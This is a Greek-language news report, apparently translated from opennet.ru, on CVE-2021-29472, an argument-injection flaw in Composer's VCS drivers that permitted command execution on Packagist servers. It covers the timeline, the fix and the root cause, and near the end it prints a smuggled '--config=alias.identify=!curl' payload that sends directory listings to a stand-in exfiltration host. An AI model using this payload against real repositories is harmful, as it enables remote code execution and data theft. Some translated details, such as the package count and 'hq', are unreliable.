Ευπάθεια στη διαχείριση πακέτων Composer που επιτρέπει την παραβίαση του αποθετηρίου PHP του Packagist

Έχει εντοπιστεί μια κρίσιμη ευπάθεια (CVE-2021-29472) στη διαχείριση εξάρτησης Composer που επιτρέπει την εκτέλεση αυθαίρετων εντολών στο σύστημα κατά την επεξεργασία ενός πακέτου με μια ειδικά διαμορφωμένη τιμή URL που καθορίζει τη διεύθυνση για τη λήψη του πηγαίο κώδικα. Το πρόβλημα παρουσιάζεται στα στοιχεία GitDriver, SvnDriver και HgDriver που χρησιμοποιούνται κατά τη χρήση συστημάτων ελέγχου πηγών Git, Subversion και Mercurial. Το θέμα ευπάθειας επιλύθηκε στις εκδόσεις 1.10.22 και 2.0.13 του Composer.

Σημειώνεται συγκεκριμένα ότι το ζήτημα επηρέασε κυρίως το προεπιλεγμένο αποθετήριο πακέτων του Composer, το Packagist, το οποίο περιέχει 306 πακέτα για προγραμματιστές PHP και εξυπηρετεί περισσότερες από 1.4 δισεκατομμύρια λήψεις ανά μήνα. Το πείραμα έδειξε ότι εάν υπήρχε γνώση του προβλήματος, οι εισβολείς μπορούσαν να αποκτήσουν τον έλεγχο της υποδομής Packagist και να υποκλέψουν τα διαπιστευτήρια των συντηρητών ή να ανακατευθύνουν τις λήψεις πακέτων σε διακομιστή τρίτου μέρους, οργανώνοντας την παράδοση παραλλαγών πακέτων με κακόβουλες αλλαγές για να αντικαταστήσουν μια κερκόπορτα κατά τη διαδικασία εγκατάστασης εξάρτησης.

Ο κίνδυνος για τους τελικούς χρήστες περιορίζεται στο γεγονός ότι το περιεχόμενο του composer.json καθορίζεται συνήθως από τον χρήστη και οι σύνδεσμοι πηγής μεταδίδονται κατά την πρόσβαση σε αποθετήρια τρίτων, τα οποία είναι συνήθως αξιόπιστα. Το κύριο πλήγμα έπεσε στο αποθετήριο Packagist.org και στην υπηρεσία Private Packagist, που κάλεσε το Composer με τη μεταφορά δεδομένων που ελήφθησαν από τους χρήστες. Οι εισβολείς μπορούσαν να εκτελέσουν τον κώδικά τους στους διακομιστές Packagist τοποθετώντας ένα ειδικά σχεδιασμένο πακέτο.

Η ομάδα του Packagist διόρθωσε την ευπάθεια εντός 12 ωρών από την αναφορά της ευπάθειας. Οι ερευνητές ειδοποίησαν ιδιωτικά τους προγραμματιστές του Packagist στις 22 Απριλίου και το πρόβλημα επιλύθηκε την ίδια μέρα. Μια δημόσια ενημέρωση του Composer για την αντιμετώπιση της ευπάθειας δημοσιεύθηκε στις 27 Απριλίου, με λεπτομέρειες που αποκαλύφθηκαν στις 28 Απριλίου. Ο έλεγχος των αρχείων καταγραφής στους διακομιστές του Packagist δεν αποκάλυψε καμία ύποπτη δραστηριότητα που να σχετίζεται με την ευπάθεια.

Το πρόβλημα προκαλείται από ένα σφάλμα στον κώδικα επικύρωσης διεύθυνσης URL στο αρχείο root composer.json και στους συνδέσμους λήψης προέλευσης. Το σφάλμα υπάρχει στον κώδικα από τον Νοέμβριο του 2011. Το Packagist χρησιμοποιεί ειδικά επίπεδα για να οργανώσει τη φόρτωση κώδικα χωρίς να συνδέεται με ένα συγκεκριμένο σύστημα ελέγχου πηγής, τα οποία εκτελούνται καλώντας «fromShellCommandline» και περνώντας ορίσματα γραμμής εντολών. Για παράδειγμα, για το git, καλείται η εντολή "git ls-remote -heads $URL", όπου η διεύθυνση URL επεξεργάζεται χρησιμοποιώντας τη μέθοδο "ProcessExecutor::escape($url)", διαφεύγοντας δυνητικά επικίνδυνες κατασκευές όπως "$(. ..)" ή "` ..."".

Ο πυρήνας του προβλήματος είναι ότι η μέθοδος ProcessExecutor::escape δεν διέφυγε από την ακολουθία «—», η οποία επέτρεψε να καθοριστεί οποιαδήποτε πρόσθετη παράμετρος κλήσης στη διεύθυνση URL. Μια τέτοια διαφυγή έλειπε στα προγράμματα οδήγησης GitDriver.php, SvnDriver.php και HgDriver.php. Η επίθεση GitDriver.php παρεμποδίστηκε από το γεγονός ότι η εντολή "git ls-remote" δεν υποστήριζε τον καθορισμό πρόσθετων ορισμάτων μετά τη διαδρομή. Μια επίθεση στο HgDriver.php αποδείχθηκε ότι ήταν δυνατή μεταβιβάζοντας την παράμετρο "--config" στο βοηθητικό πρόγραμμα "hq", το οποίο σας επιτρέπει να οργανώσετε την εκτέλεση οποιασδήποτε εντολής χειραγωγώντας τη ρύθμιση "alias.identify". Για παράδειγμα, για λήψη και εκτέλεση κώδικα εκτελώντας το βοηθητικό πρόγραμμα curl, θα μπορούσατε να καθορίσετε: —config=alias.identify=!curl http://exfiltration-host.tld —δεδομένα "$(ls -alh)"

Δημοσιεύοντας ένα πακέτο δοκιμής με παρόμοια διεύθυνση URL με το Packagist, οι ερευνητές επαλήθευσαν ότι μετά τη δημοσίευση, ο διακομιστής τους έλαβε ένα αίτημα HTTP από έναν από τους διακομιστές Packagist στο AWS που περιέχει μια λίστα αρχείων στον τρέχοντα κατάλογο.

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο